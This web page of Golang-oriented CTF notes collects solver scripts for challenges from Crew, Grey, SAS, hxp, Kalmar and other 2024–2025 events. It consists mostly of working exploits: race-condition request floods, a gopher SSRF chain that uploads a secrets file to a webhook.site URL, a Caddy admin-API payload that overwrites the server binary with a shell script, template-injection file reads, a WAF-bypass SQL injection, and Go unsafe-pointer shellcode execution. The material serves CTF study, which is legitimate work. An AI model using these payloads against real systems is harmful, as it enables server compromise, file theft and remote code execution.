Skip to content

Golang

err is shared between handler calls and therefore, we can race the checkPath call and the err != nil check.https://caddyserver.com/docs/modules/http.handlers.templateshttps://github.com/sohomdatta1/so...

Created

Updated

9 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Race Condition because the proxy using id from the agent

Event NameCrew CTF 2025
GitHub URL-
Challenge Nameproxies
Attachments
References

author

The actual thing cause race is that the id must be given by the proxy side, not agent side, as given by agent side, the proxy has listening request queue waiting for agent, so by delaying 1 req, the proxy will received swap request, like request for A then B but the response will be B then A. At first, i didn't put the hashes thing for generate the id, but then, the time window is so small, so i try and error for the number of hash iteration for good time window

solver
import subprocess
base_url = "https://inst-a93b1ac297c3b8d3-proxies.chal.crewc.tf"

def part_1():
    cmd = [
        "curl",
        "-s",
        "-X",
        "POST",
        f"{base_url}/a",
        "-H",
        "Content-Encoding: gzip",
        "--data-binary",
        "@-"
    ]
    gzip_process = subprocess.Popen(
        ["gzip", "-c"],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )
    curl_process = subprocess.Popen(
        cmd,
        stdin=gzip_process.stdout,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )
    gzip_process.stdin.write(b"GIVE ME FLAG!")
    gzip_process.stdin.close()
    curl_process_stdout, curl_process_stderr = curl_process.communicate()
    if curl_process.returncode != 0:
        print(f"Error in curl command: {curl_process_stderr.decode()}")
    else:
        print(curl_process_stdout.decode())


# part_1()

# For part 2, it is a race condition challenge on /admin and /admin_check you have to try this multiple times to get the result

import threading

def send_request(url, barrier=None):
    try:
        # Wait for all threads before sending
        barrier.wait()
        response = subprocess.check_output(["curl", "-s", url]).decode()
        print(f"[{threading.current_thread().name}] {response}")
    except Exception as e:
        print(f"[{threading.current_thread().name}] Error: {e}")

def part_2():
    num_requests = 5
    barrier = threading.Barrier(num_requests*2)

    threads = []
    url1 = f"{base_url}/admin"
    url2 = f"{base_url}/admin_check"
    for i in range(num_requests):
        t = threading.Thread(
            target=send_request,
            args=(url1, barrier),
            name=f"Thread-{i+1}"
        )
        threads.append(t)
        t.start()
    
    for i in range(num_requests):
        t = threading.Thread(
            target=send_request,
            args=(url2, barrier),
            name=f"Thread-{i+1+num_requests}"
        )
        threads.append(t)
        t.start()
    
    for t in threads:
        t.join()

if __name__ == "__main__":
    part_1()
    part_2()

Adding Arbitrary File Into Golang Binary

Event NameGrey CTF 2025
GitHub URL-
Challenge NameC2
Attachments
References

solve 1
package main
/*
#cgo CFLAGS: -std=gnu99
__asm__(
  ".section .rodata\n"
  ".global _flag_start\n"
  "_flag_start:\n"
  ".incbin \"/app/secrets/flag.go\"\n"
  ".global _flag_end\n"
  "_flag_end:\n"
  ".byte 0\n"
  ".previous\n"
);
*/
import "C"
func main() {}
solve 2
package main

/*
#define package //
#define secrets 
#define var char*

#include "/app/secrets/flag.go"
*/
import "C"

func main() {
}
solve 3
from http.server import HTTPServer, BaseHTTPRequestHandler
import time
import re

class DelayedHandler(BaseHTTPRequestHandler):
    def do_PUT(self):
        content_length = int(self.headers.get('Content-Length', 0))
        file_data = self.rfile.read(content_length) if content_length > 0 else b''

        file_text = file_data.decode(errors='ignore')

        # Find all strings starting with /tmp/c2_ and followed by non-whitespace characters
        matches = re.findall(r'/tmp/c2_[^\s"\']+', file_text)

        if matches:
            print("Last '/tmp/c2_' match:")
            print(matches[-1])
        else:
            print("No strings starting with '/tmp/c2_' found.")

        time.sleep(10)

        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b"Processed upload after 10 seconds delay.")

    def do_GET(self):
        self.send_error(405, "Method Not Allowed")

    def do_POST(self):
        self.send_error(405, "Method Not Allowed")

    def do_DELETE(self):
        self.send_error(405, "Method Not Allowed")

if __name__ == '__main__':
    server_address = ('', 1234)
    httpd = HTTPServer(server_address, DelayedHandler)
    print('Server running on port 1234...')
    httpd.serve_forever()
import string
import requests

ip_vps = "http://ip_vps:1234"

# target = "localhost:3336"
target = "challs2.nusgreyhats.org:33203"

def second_req(uuid):

    go_code = """
package main

import "fmt"

func main() {
    fmt.Println("Hello, World!")
}

/*

--request PUT
--upload-file /app/secrets/flag.go
--url https://webhook.site/5225f71e-8c30-4476-b3c1-8b56a3c6cadd

*/"""

    raw_request = (
        f"POST /agent/{uuid}/execute HTTP/1.1\r\n"
        f"Host: 127.0.0.1:8080\r\n"
        f"Content-Length: {len(go_code)}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n\r\n"
        f"{go_code}"
    )

    raw_bytes = raw_request.encode()

    payload = ""
    for byte in raw_bytes:
        char = chr(byte)
        if char in string.ascii_letters + string.digits:
            payload += char
        else:
            payload += f"%{byte:02x}"

    # Final
    gopher_url = f"gopher://127.0.0.1:8080/_{payload}"

    return gopher_url

# Register my website
uuid_resp = requests.post(
    f"http://{target}/register",
    json={"agentUrl": ip_vps}
).text.strip()

# print(uuid_resp)

# Create main.go
response = requests.post(
    f"http://{target}/register",
    json={"agentUrl": second_req(uuid_resp)}
)

# Trigger curl config (manual hehe)
# response = requests.post(
#     f"http://{target}/register",
#     json={"agentUrl":"-K/tmp/c2_829034614/main.go"}
# ).text.strip()

Caddy SSRF into admin

Event NameSAS CTF Quals 2025
GitHub URL-
Challenge NameProxy
Attachments
References

solve
import requests

url = "https://9cd844be-ab9d-4ebf-b2f8-c42cb5718d6d.kit.sasc.tf/127.0.0.1:2019/load"

data3 = {
    "logging":{
        "logs":{
            "default":{
                "writer":{
                    "output":"file",
                    "filename":"/usr/local/sbin/caddy",
                    "mode":"0777"
                },
                "encoder":{
"time_format":"#!/bin/sh\nchmod 777 /flag.sh; cp /flag.sh /app/index.html; /usr/bin/caddy run --config /app/Caddyfile\n",
                    "format":"console"
                }
            }
        }
    },
  "apps": {
    "http": {
      "servers": {
        "srv0": {
          "listen": [":80"],
          "routes": [
            {
              "handle": [
                {
                  "defaults": ["{http.regexp.stripHostPort.2}"],
                  "destinations": ["{targetPort}"],
                  "handler": "map",
                  "mappings": [
                    {
                      "outputs": [80]
                    }
                  ],
                  "source": "{http.regexp.stripHostPort.2}"
                },
                {
                  "defaults": ["{http.regexp.stripHostPort.3}"],
                  "destinations": ["{targetPath}"],
                  "handler": "map",
                  "mappings": [
                    {
                      "outputs": ["/"]
                    }
                  ],
                  "source": "{http.regexp.stripHostPort.3}"
                }
              ]
            },
            {
              "group": "group2",
              "handle": [
                {
                  "handler": "subroute",
                  "routes": [
                    {
                      "group": "group0",
                      "handle": [
                        {
                          "handler": "rewrite",
                          "uri": "{targetPath}"
                        }
                      ]
                    },
                    {
                      "handle": [
                        {
                          "handler": "reverse_proxy",
                          "headers": {
                            "request": {
                              "set": {
                                "Host": ["{http.regexp.stripHostPort.1}:{targetPort}"]
                              }
                            }
                          },
                          "upstreams": [
                            {
                              "dial": "{http.regexp.stripHostPort.1}:{targetPort}"
                            }
                          ]
                        }
                      ]
                    }
                  ]
                }
              ],
              "match": [
                {
                  "path_regexp": {
                    "name": "stripHostPort",
                    "pattern": "^\\/([^\\/]+?)(?::(\\d+))?(\\/.*)?$"
                  }
                }
              ]
            },
            {
              "group": "group2",
              "handle": [
                {
                  "handler": "subroute",
                  "routes": [
                    {
                      "handle": [
                        {
                          "handler": "vars",
                          "root": "/app",
                           "browse": 1
                        },
                        {
                          "handler": "file_server",
                          "hide": ["/app/Caddyfile"]
                        }
                      ]
                    }
                  ]
                }
              ]
            }
          ]
        }
      }
    }
  }
}


r = requests.post(url, json=data3, allow_redirects=False)

print(r.text)

curl.exe -X POST <https://9cd844be-ab9d-4ebf-b2f8-c42cb5718d6d.kit.sasc.tf/localhost:2019/stop

then cancel the curl using ctrl + c

Golang race condition is easy to trigger in go routine like in this challenge writeup

Event Namehxp CTF 2024
GitHub URL-
Challenge NameFajny Jagazyn Wartości Kluczy
Attachments
References

...
func checkPath(path string) error {
	if strings.Contains(path, ".") {
		return fmt.Errorf("🛑 nielegalne (hacking)")
	}

	if strings.Contains(path, "flag") {
		return fmt.Errorf("🛑 nielegalne (just to be sure)")
	}

	return nil
}

func main() {
	time.AfterFunc(180*time.Second, func() {
		os.Exit(0)
	})

	session, ok := os.LookupEnv("SESSION")
	if !ok {
		panic("SESSION env not set")
	}

	dataDir := "/tmp/kv." + session
	err := os.Mkdir(dataDir, 0o777)
	if err != nil {
		panic(err)
	}
	err = os.Chdir(dataDir)
	if err != nil {
		panic(err)
	}

	http.HandleFunc("/get", func(w http.ResponseWriter, r *http.Request) {
		name := r.URL.Query().Get("name")
		if err = checkPath(name); err != nil {
			http.Error(w, "checkPath :(", http.StatusInternalServerError)
			return
		}

		file, err := os.Open(name)
		if err != nil {
			http.Error(w, "Open :(", http.StatusInternalServerError)
			return
		}

		data, err := io.ReadAll(io.LimitReader(file, 1024))
		if err != nil {
			http.Error(w, "ReadAll :(", http.StatusInternalServerError)
			return
		}

		w.Write(data)
	})
...

err is shared between handler calls and therefore, we can race the checkPath call and the err != nil check.

Gotenberg 8.17.3 Local File Read via iframe

Event NameKalmar CTF 2025
GitHub URLhttps://github.com/kalmarunionenctf/kalmarctf/tree/main/2025
Challenge NameG0tchaberg
Attachments
References

<p id="path"></p>
<p id="fsWorkingDir"></p>
<iframe id="frame" width="100%" height="300px"></iframe>

<script>
const currentPath = window.location.pathname;
path.innerText = `Current path: ${currentPath}`;
const workingDirectory = currentPath.split('/')[2];
fsWorkingDir.innerText = `fs.workingDir = ${workingDirectory}`;

frame.src = `file:///tmp/${workingDirectory}/`;
</script>

Golang didn’t parsing incorrect Content-Disposition making us can bypass if the golang used as a WAF

Event NameTPCTF
GitHub URL-
Challenge Namesupersqli
Attachments
References

solver.py
from pwn import *

def exploit(sql_payload: str):
    # Establish connection
    # io = remote("localhost", 80)
    io = remote("1.95.159.113", 80)
    
    # Split payload into prefix/suffix for dynamic content-length calculation
    req_prefix = (
        "POST /flag/ HTTP/1.1\r\n"
        "Host: localhost\r\n"
        "Content-Type: multipart/form-data; boundary=f94b597e0e60676bd2e380fe7925d9f7\r\n"
    )
    req_suffix = (
        "\r\n"
        "--f94b597e0e60676bd2e380fe7925d9f7\r\n"
        "Content-Disposition: form-data; name=\"username\"\r\n"
        "\r\n"
        "admin\r\n"
        "--f94b597e0e60676bd2e380fe7925d9f7\r\n"
        "Content-Disposition: x; name=\"password\";\r\n"
        "Content-Type: application/form-data\r\n"
        "\r\n"
        f"{sql_payload}\r\n"  # Dynamic payload insertion
        "--f94b597e0e60676bd2e380fe7925d9f7--\r\n"
    )
    
    # Calculate content length dynamically
    content_length = len(req_suffix.encode())
    full_request = f"{req_prefix}Content-Length: {content_length}\r\n\r\n{req_suffix}\r\n"
    
    io.send(full_request)
    response = io.recv(1000).decode()
    io.close()
    return response

if __name__ == "__main__":
    print(exploit("""' UNION SELECT 1,2,REPLACE(REPLACE('" UNION SELECT 1,2,REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") --',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT 1,2,REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") --') --"""))

Caddy Template Injection

Event NameKalmar CTF 2025
GitHub URLhttps://github.com/kalmarunionenctf/kalmarctf/tree/main/2025
Challenge NameEz ⛳ v3
Attachments
References

solver.py
import httpx
import asyncio

URL = "https://caddy.chal-kalmarc.tf/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, verify=False)  # Skip SSL verification since it's using internal certs

class API(BaseAPI):
    async def get_flag(self):
        # Try to use /fetch endpoint to make an internal request to /flag
        res = await self.c.get("/fetch/headers", headers={
            "Host": "private.caddy.chal-kalmarc.tf",
            "x": """{{ env `FLAG` }}"""
        })
        return res.text

async def main():
    api = API()
    flag = await api.get_flag()
    print(flag)

if __name__ == "__main__":
    asyncio.run(main())

SSTI in Caddy Server

Event NameKalmar CTF 2024
GitHub URLhttps://github.com/kalmarunionenctf/kalmarctf/tree/main/2024
Challenge Name-
Attachments
References

https://caddyserver.com/docs/modules/http.handlers.templates

❯ curl "https://ua.caddy.chal-kalmarc.tf/" --user-agent '{{ readFile "/CVGjuzCIVR99QNpJTLtBn9" }}'
<!DOCTYPE html><meta charset=utf-8><title>ua.caddy.chal-kalmarc.tf</title><body>User-Agent: kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}
</body>⏎

❯ curl "https://ua.caddy.chal-kalmarc.tf/" --user-agent '{{ listFiles "/" }}'
<!DOCTYPE html><meta charset=utf-8><title>ua.caddy.chal-kalmarc.tf</title><body>User-Agent: [lib home tmp var srv sbin sys run dev root bin etc usr
opt mnt media proc CVGjuzCIVR99QNpJTLtBn9 .dockerenv data config]</body>⏎
ex vulnerable config
(sec_headers) {
    root * /
    header {
        Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; base-uri 'none';"
        Strict-Transport-Security "max-age=31536000"
        X-XSS-Protection 0
        X-Content-Type-Options nosniff
        X-Frame-Options DENY
        Referrer-Policy "no-referrer"
    }
}

(html_reply) {
    import sec_headers
    header Content-Type text/html
    templates
    respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}

(json_reply) {
    templates {
        # By default placeholders are not replaced for json
        mime application/json
    }
    header Content-Type application/json
    respond "{args[0]}"
}

(http_reply) {
    tls internal {
        alpn "{args[0]}"
    }
    map {args[0]} {proto_name} {
        http/1.1 HTTP/1.1
        h2 HTTP/2.0
        h3 HTTP/3.0
    }
    @correctALPN `{http.request.proto} == {proto_name}`
    respond @correctALPN "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
    import html_reply "You are connected with {http.request.proto} instead of {proto_name} ({tls_version}, {tls_cipher}). <!-- Debug: {http.request.uuid}-->"
}

(tls_reply) {
    tls internal {
        protocols {args[0]} {args[1]}
    }
    header Access-Control-Allow-Origin "*"
    import json_reply {"tls_version":"{tls_version}","alpn":"{http.request.tls.proto}","sni":"{http.request.tls.server_name}","cipher_suite":"{http.request.tls.cipher_suite}"}
}

mtls.caddy.chal-kalmarc.tf {
    tls internal {
        client_auth {
            mode require
        }
    }
    templates
    import html_reply `You are connected with client-cert {http.request.tls.client.subject}`
}
tls.caddy.chal-kalmarc.tf {
    import tls_reply tls1.2 tls1.3
}
tls12.caddy.chal-kalmarc.tf {
    import tls_reply tls1.2 tls1.2
}
tls13.caddy.chal-kalmarc.tf {
    import tls_reply tls1.3 tls1.3
}
ua.caddy.chal-kalmarc.tf {
    tls internal
    templates
    import html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
http.caddy.chal-kalmarc.tf {
    tls internal
    templates
    import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}
http1.caddy.chal-kalmarc.tf {
    import http_reply http/1.1
}
http2.caddy.chal-kalmarc.tf {
    import http_reply h2
}
http3.caddy.chal-kalmarc.tf {
    import http_reply h3
}

caddy.chal-kalmarc.tf {
    tls internal
    import html_reply `Hello! Wanna know you if your browser supports <a href="https://http1.caddy.chal-kalmarc.tf/">http/1.1</a>? <a href="https://http2.caddy.chal-kalmarc.tf/">http/2</a>? Or fancy for some <a href="https://http3.caddy.chal-kalmarc.tf/">http/3</a>?! Check your preference <a href="https://http.caddy.chal-kalmarc.tf/">here</a>.<br/>We also allow you to check <a href="https://tls12.caddy.chal-kalmarc.tf/">TLS/1.2</a>, <a href="https://tls13.caddy.chal-kalmarc.tf/">TLS/1.3</a>, <a href="https://tls.caddy.chal-kalmarc.tf/">TLS preference</a>, supports <a href="https://mtls.caddy.chal-kalmarc.tf/">mTLS</a>? Checkout your <a href="https://ua.caddy.chal-kalmarc.tf/">User-Agent</a>!<!-- At some point we might even implement a <a href="https://flag.caddy.chal-kalmarc.tf/">flag</a> endpoint! -->`
}

net/html HTML parser bypass and gorilla CSRF make POST become like GET request

https://github.com/sohomdatta1/sohomdatta1.github.io/blob/main/writeups/phantom.md

Golang Unsafe pointer to RCE using reflect

Aractf 2024

package main
import ("reflect")func main() {addr := uintptr(0x4034c0) // runtime.mmapptr := &addr
scAddr := (*(*func(uintptr, int, int, int, int, int)uintptr)(reflect.ValueOf(&ptr).UnsafePointer()))(0, 0x1000, 7, 34, -1, 0)sc :="H\x89\xe7jd^jOX\x0f\x05j\x01_jdZH\x89\xe6j\x01X\x0f\x051\xff1\xc0\xb0\xe7\x0f\x05"for i := 0; i < len(sc); i++ {p := uintptr(scAddr) + uintptr(i)str := (**byte)(reflect.ValueOf(&p).UnsafePointer())**str = sc[i]}scPtr := &scAddr
(*(*func())(reflect.ValueOf(&scPtr).UnsafePointer()))()}

Golang Race Condition

Golang Race Condition Technique in ParseForm

okay the intended way is really interesting. sending n-1 bytes will block at err := r.ParseForm(), ie after the balance was already cached, so from there we have multiple attempts for each iteration

	err := r.ParseForm()

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.